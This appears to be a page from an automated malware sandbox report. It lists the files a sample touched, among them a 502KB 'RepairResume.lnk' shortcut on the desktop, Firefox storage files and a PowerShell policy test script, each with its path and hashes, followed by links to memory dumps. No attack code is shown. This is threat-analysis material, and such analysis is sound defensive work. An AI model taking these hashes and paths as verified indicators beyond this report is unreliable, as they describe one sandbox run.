Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aff96ed7fb7e6f169b34a23bbf393e6b8e1519d4d10e0a97512792afcb436f3a
MD5 144a00bd6d334b14df5d2884e70b0dbf
SHA1 6322387961bb1a56c67f8ab05882022cd5373356
SHA512 42b91f4e496f277828f9c7f7a78780388333e1fe18c8c2d17acc57289ace5188b6a56713e21a61932084af1fcdcd1ff17459f6666d5d6f305b314e641a1599aa
TLSH
T1652120534127F599332ED702FDB5A9F457AFB2884DD81A60CD0C4965C5980005D2F96D
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Packages\Microsoft.SecHealthUI_8wekyb3d8bbwe\Settings\settings.dat
Size 8KB
SHA256 698450d0e5a41caf558c0a1067b87fc74f69c4208cd260334fda7b121f4f8daf
MD5 f58e3ffdc760a92029b1775fd3ac56cc
SHA1 d16d8cd29bee042bb82b4dac86df00d8dfb1f7ff
SHA512 25d0a82b6db4fdc319e931b5d88b8e2d6e1c770222115b1bb43c0ac476b510275f9e60a3ee5af96980c8acd957ac68279ae73ad0ee4601c210eadaadb6f0489a
SSDEEP 24:067NAfMfMfMfMfMfMfMfMfMfMfwsfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfW:B568PfZERe7eYDzVz263b6ehl+GGj
TLSH
T195F1697B440778D4786DC2D6F978E8A2AB9FF72342D82C558C080E75D24C09A5E2F81E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_v3dsk5y2.rqi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3dsk5y2.rqi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

3561288849sdhlie.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\7dpxcjnk.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Size 48KB
SHA256 3b8dedbfc7225bcc1117da65636f3e6599ecfd8b61f66e51e5a2d9a56788aac0
MD5 385ad992abb7594be0027937bdddc231
SHA1 2dd6158d037cc3adba162b29cc4bee5e53604396
SHA512 ad84068aae0dad3549708181e2d14449456e2f613857e73153d083b13b4b85528914ca1a688c3bb9b52f086a2cb024e3afbd9926b4907a29b16a6782addb45cf
SSDEEP 96:LqYU3w+HxnsIW34dsw6fJQtGkeDTk9NeDR7:mYybE34dsw6Lr7
TLSH
T1942356770647B8D0756DC6CAE938E9B6ABDFB32606DA6C00CD190E70C21D1981F3AC0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3561288849sdhlie.sqlite-shm

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\7dpxcjnk.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm
Size 32KB
SHA256 4fc27df306e9a1af252eb9da2b3133c31821c4fc47d5c3a1afc689a6692b2d90
MD5 3d3700a3484be2275d78f5f4a9267e00
SHA1 ab85645086fde229c7903df32cef04eeb89d53e8
SHA512 07a60f0ef954bd409fab654cb351ad1185cb689476a92950e41b91bdec8855b231b3ade23d7933c91d74d15ff46b0d0d992e4f57c8577546cd52eac17bbd53d8
SSDEEP 24:WfoX2fMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMz:f
TLSH
T1A3E2003701077DD5712CC282E978E8A2FB9FB77643DD28458C085E30D60C0898E2A80E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RepairResume.lnk

Path C:\Users\Admin\Desktop\RepairResume.lnk
Size 502KB
SHA256 fab5525ad81eecbc4e57e22909e386197daba6984e36068c33159f6e1be8f74d
MD5 bdab59af6b5cb050fcafb6f46bc02033
SHA1 0f2f13cef1a0d212cd8d3ad5d99d33d1021b67c6
SHA512 0028ad6b0d69297bb4306570af441418a1592476f66f684f0ad2419c0863016f3c643a5a5c275056a167afd551c3ff1bbe02e88370a74fec887d54ba9c11d8df
SSDEEP 12288:nuQ0Tgq0CFHFpb1BQRl4jUWqCbN8BsbhsC:n0TgzCF7RqEIjCbiBsB
TLSH
T1C2B423D2123B1D77D8EA69B48EE82EBED2B58D13375500AD40347F861A25BD44EE133E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/8-41-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/8-42-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/1752-47-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/1752-46-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/1944-58-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/1944-57-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/1960-51-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/1960-50-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/1988-86-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/1988-1-0x00007FFCFC2BF000-0x00007FFCFC2C0000-memory.dmp

Download

memory/1988-2-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/1988-0-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/1988-993-0x000001F2549E0000-0x000001F254C43000-memory.dmp

Download

memory/1988-992-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/2024-81-0x000001BD98AC0000-0x000001BD98B72000-memory.dmp

Download

memory/2236-36-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/2236-35-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/2260-49-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/2260-48-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/2656-31-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/2656-32-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/2832-587-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/2832-514-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/2956-59-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/2956-60-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/3176-54-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/3340-52-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/3340-53-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/3416-44-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/3416-45-0x00007FF7D7640000-0x00007FF7D76A8000-memory.dmp

Download

memory/4312-30-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-28-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-27-0x00000280E9CE0000-0x00000280E9CEA000-memory.dmp

Download

memory/4312-25-0x00000280E9CC0000-0x00000280E9CDE000-memory.dmp

Download

memory/4312-26-0x00000280EA290000-0x00000280EA342000-memory.dmp

Download

memory/4312-17-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-18-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-16-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-6-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-14-0x00000280D1690000-0x00000280D16B2000-memory.dmp

Download

memory/4312-8-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-7-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-5-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-4-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4312-3-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4684-55-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4684-56-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/4744-37-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/4744-38-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/5584-107-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/5584-440-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/5688-33-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/5688-34-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download

memory/6112-39-0x00007FFCFC160000-0x00007FFCFC3C3000-memory.dmp

Download

memory/6112-40-0x00007FF78B5D0000-0x00007FF78B638000-memory.dmp

Download